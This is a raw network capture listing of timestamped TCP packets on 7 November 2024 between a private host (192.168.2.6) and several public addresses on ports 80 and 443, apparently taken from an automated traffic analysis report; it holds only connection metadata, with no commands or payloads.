Nov 7, 2024 17:25:46.431993961 CET	49972	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.432244062 CET	49972	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.432261944 CET	443	49972	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.432290077 CET	49972	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.432296038 CET	443	49972	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.437285900 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437308073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437324047 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437339067 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437364101 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437374115 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.437380075 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437397003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437419891 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.437421083 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437438011 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437443972 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.437454939 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437475920 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.437496901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437503099 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.437513113 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437536001 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.437536955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437552929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437552929 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.437570095 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.437570095 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437592030 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.437607050 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.437616110 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437638044 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437648058 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.437674046 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.437825918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437865973 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437881947 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437905073 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.437930107 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.437935114 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437951088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437971115 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.437975883 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.437984943 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.437992096 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438009024 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438023090 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438033104 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.438038111 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438054085 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.438072920 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.438102961 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438116074 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438148022 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.438333035 CET	49988	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.438380003 CET	443	49988	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.438436985 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438452959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438456059 CET	49988	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.438467979 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438478947 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.438487053 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438499928 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.438504934 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438509941 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.438525915 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.438541889 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.438571930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438606024 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.438625097 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438637972 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438661098 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.438669920 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438676119 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.438750982 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.438795090 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438818932 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438833952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438854933 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.438857079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438872099 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438875914 CET	49988	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.438885927 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.438886881 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438889027 CET	443	49988	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.438913107 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438930988 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438932896 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.438946009 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438957930 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.438961983 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438977003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.438983917 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.439011097 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.439037085 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.439064026 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.439078093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.439102888 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.439126968 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.439187050 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.439201117 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.439214945 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.439224958 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.439241886 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.439259052 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.439660072 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.439675093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.439688921 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.439703941 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.439708948 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.439721107 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.439722061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.439738989 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.439749002 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.439762115 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.439769030 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.439778090 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.439799070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.439806938 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.439815998 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.439824104 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.439831972 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.439841986 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.439853907 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.439862967 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.439872026 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.439893007 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.439981937 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.439996958 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.440035105 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.440239906 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.440252066 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.440274000 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.440301895 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.457788944 CET	443	49973	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.458007097 CET	443	49973	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.458064079 CET	49973	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.458112955 CET	49973	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.458138943 CET	443	49973	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.458154917 CET	49973	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.458162069 CET	443	49973	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.461414099 CET	49989	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.461467028 CET	443	49989	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.461580038 CET	49989	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.461755037 CET	49989	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.461767912 CET	443	49989	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.482916117 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.482928991 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.482949018 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.482959986 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.483006954 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.483014107 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.483031034 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.483071089 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.483131886 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.519896984 CET	443	49978	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.519926071 CET	443	49978	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.519933939 CET	443	49978	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.519947052 CET	443	49978	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.519973993 CET	443	49978	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.520004988 CET	49978	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.520025015 CET	443	49978	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.520049095 CET	443	49978	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.520055056 CET	49978	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.520086050 CET	49978	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.520097971 CET	49978	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.529108047 CET	49978	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.529124975 CET	443	49978	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.550662041 CET	443	49980	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.550694942 CET	443	49980	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.550756931 CET	49980	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.550803900 CET	443	49980	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.550868034 CET	443	49980	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.550932884 CET	49980	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.552759886 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.552779913 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.552795887 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.552841902 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.552862883 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.552880049 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.552894115 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.552911043 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.552911043 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.552926064 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.552937984 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.552943945 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.552973986 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553036928 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553067923 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553071022 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553083897 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553105116 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553119898 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553139925 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553154945 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553170919 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553188086 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553189039 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553204060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553216934 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553240061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553304911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553368092 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553379059 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553395033 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553411961 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553417921 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553428888 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553433895 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553451061 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553456068 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553473949 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553482056 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553486109 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553497076 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553519964 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553534985 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553536892 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553550005 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553564072 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553582907 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553616047 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553755999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553781033 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553796053 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553797007 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553817987 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553822041 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553833961 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553860903 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553875923 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553883076 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553894043 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553909063 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.553941965 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553961992 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553975105 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.553997993 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.554033041 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.554133892 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554203987 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554218054 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554229021 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.554243088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554244995 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.554258108 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554260969 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.554274082 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554284096 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.554300070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554323912 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554337978 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554347992 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.554347992 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.554358006 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.554388046 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.554490089 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554514885 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554527044 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.554532051 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554548025 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.554572105 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.554586887 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554604053 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554621935 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.554645061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.554647923 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554671049 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554683924 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554688931 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.554702044 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.554718971 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.554738045 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554752111 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554766893 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554781914 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554784060 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.554797888 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.554810047 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.554837942 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.555067062 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.555079937 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.555094004 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.555105925 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.555118084 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.555129051 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.555134058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.555145979 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.555160046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.555161953 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.555175066 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.555177927 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.555191040 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.555206060 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.555233955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.555248976 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.555262089 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.555267096 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.555300951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.555301905 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.555332899 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.555419922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.555443048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.555454969 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.555459023 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.555474997 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.555490971 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.555738926 CET	49980	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.555761099 CET	443	49980	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.555772066 CET	49980	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.555778027 CET	443	49980	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.560468912 CET	49990	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.560512066 CET	443	49990	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.560652018 CET	49990	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.560919046 CET	49990	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.560930967 CET	443	49990	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.599013090 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.599045038 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.599119902 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.599132061 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.599277020 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.599469900 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.599536896 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.599558115 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.599648952 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.601350069 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.601416111 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.676564932 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676588058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676599979 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676610947 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676621914 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676635027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676647902 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676652908 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.676673889 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.676681042 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676692963 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676703930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676709890 CET	49911	80	192.168.2.6	95.215.204.182
